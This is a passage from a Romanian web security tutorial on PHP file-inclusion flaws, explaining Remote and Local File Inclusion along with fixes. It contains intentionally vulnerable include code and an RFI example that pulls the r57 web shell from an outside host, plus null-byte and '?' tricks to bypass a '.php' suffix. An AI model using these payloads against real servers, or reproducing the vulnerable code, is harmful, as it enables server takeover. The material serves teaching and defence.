Sunteți pe pagina 1din 4

Vulnerabilitati Web si securizarea

acestora
Data publicarii: 13-02-2009 - Copyright Popescu Ionut

Autor: Popescu Ionut aka Nytro


(c) Romanian Security Team 2009
Salut.
n acest tutorial v voi prezenta cele mai cunoscute tipuri de vulnerabiliti Web, dar i fixarea acestora ( PHP ).
Voi ncepe prin a spune c un website poate fi atacat prin 3 metode:
a) Atac asupra aplicaiei Web
b) Atac asupra serverului
c) Inginerie social
n acest tutorial voi vorbi doar despre atacurile asupra aplicaiei Web i anume despre urmtoarele tipuri de
vulnerabiliti:
1) Remote File Inclusion ( RFI )
2) Local File Inclusion ( LFI )
3) Cross Site Scripting ( XSS )
4) HTTP Header Injection
5) SQL Injection
6) Login ByPass
7) Arbitrary File Upload
8) Remote Code & Command Execution
9) Full Path Disclosure
10) Insecure Cookie Handling
*) O funcie de securizare a datelor
1) Remote File Inclusion
Este un tip de vulnerabilitate din ce n ce mai rar ntlnit n ziua de azi, dar este de asemenea cel mai periculos.
Vulnerabilitatea const n includerea unui fiier aflat pe alt server, folosind un parametru GET. Practic, scriptul va
include direct fiierul specificat prin valoarea unei variabile trimise prin GET. S dm un exemplu. Programatorul
folosete urmtorul cod pentru a include un fiier:

Cod:
<?php
if (isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
include $pag; // Sau include $pag.".php";
}
?>
Unde e greeala? n ideea scriptului.
Dac utilizatorul va specifica pentru variabila 'pagina' valoarea "http://site.com/script.php", scriptul va include
acest fiier ( desigur, dac allow url include este activat ).
S lum un exemplu. Dac un utilizator atribuie variabilei pagina valoarea "http://google.ro", scriptul va include
coninutul site-ului. Dar va include codul HTML generat de server.
ns ce se ntmpl dac utilizatorul include "http://site.com/script.txt"?
Dac va include un "http://site.com/script.php", acest script va fi interpretat ( n caz c pe server se afl PHP ) pe
serverul pe care se afl, iar scriptul va include outputul HTML. ns dac se include un fiier cu extensia .txt, iar
scriptul conine cod PHP, serverul va interpreta el acel cod. De cele mai multe ori se folosete un shell ( script
PHP, bine scris, care permite executarea multor funcii pe serverul victim ). De exemplu, dac utilizatorul va
include "http://www.evilc0der.com/r57.txt", atunci va putea face multe lucruri pe server.

Exemplu:

ns cu ce ajut acel ".php"? Simplu, cu nimic. Utilizatorul va folosi o sintax de genul:


"http://server.com/script.php?pagina=http://site.com/script.txt?".
Singurul lucru necesar pentru acesta e adugarea caracterului "?" la sfritul URL-ului pe care dorete s fie
inclus. Acest "?" va transforma ".php"-ul de intrare n variabil prin GET, i nu va afecta n nici un fel includerea
scriptului. Se poate folosi de asemenea i "%00", care reprezint caracterul cu codul ASCII 0, caracterul NULL,
care marcheaz sfritul unui ir de caractere. Deci ceea ce se afl dup acest NULL nu e luat n considerare.
Cum se poate fixa?
n mod normal, prin filtrarea irurilor "http://" i "ftp://", dar nu recomand aceast soluie, pentru c scriptul va
putea include fiiere locale, i se ajunge la LFI. Cea mai bun soluie e schimbarea ideii incluziunii. Se poate
folosi foarte uor un switch, care va conine o list cu paginile care pot fi incluse.
Exemplu:

Cod:
<?php
if(isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
switch($pag) {
case "pag1.php":
include "pag1.php";
break;
case "pag2.php":
include "pag2.php";
break;
default:
include "meniu.php";

}
?>

2) Local File Inclusion


Este un tip de vulnerabilitate mai des ntlnit dect RFI, dar principiul e acelai: includerea unui fiier trimis
folosind o variabil prin GET, ns scriptul va verifica dac acel fiier exist, iar dac exist l va include.
Exemplu:

Cod:
<?php
if(isset($_GET['pagina'])) {
$pag=$_GET['pagina'];
if(file_exists($pag)) {
include $pag.".php";
}
}
?>
Nu e la fel de periculos ca RFI ( de asemenea poate include fiiere locale ), dar este foarte periculos, i se poate
ajunge la RFI de la el.
Scriptul verific dac fiierul se afl pe server, dar pe server nu se afl dect fiierele scriptului ( CMS... ) care
conine pagina cu LFI. Deci se pot include fiiere de pe server.
- See more at: http://www.tutorialeonline.net/ro/article/vulnerabilitati-web-si-securizareaacestora#sthash.tT2bbCAm.dpuf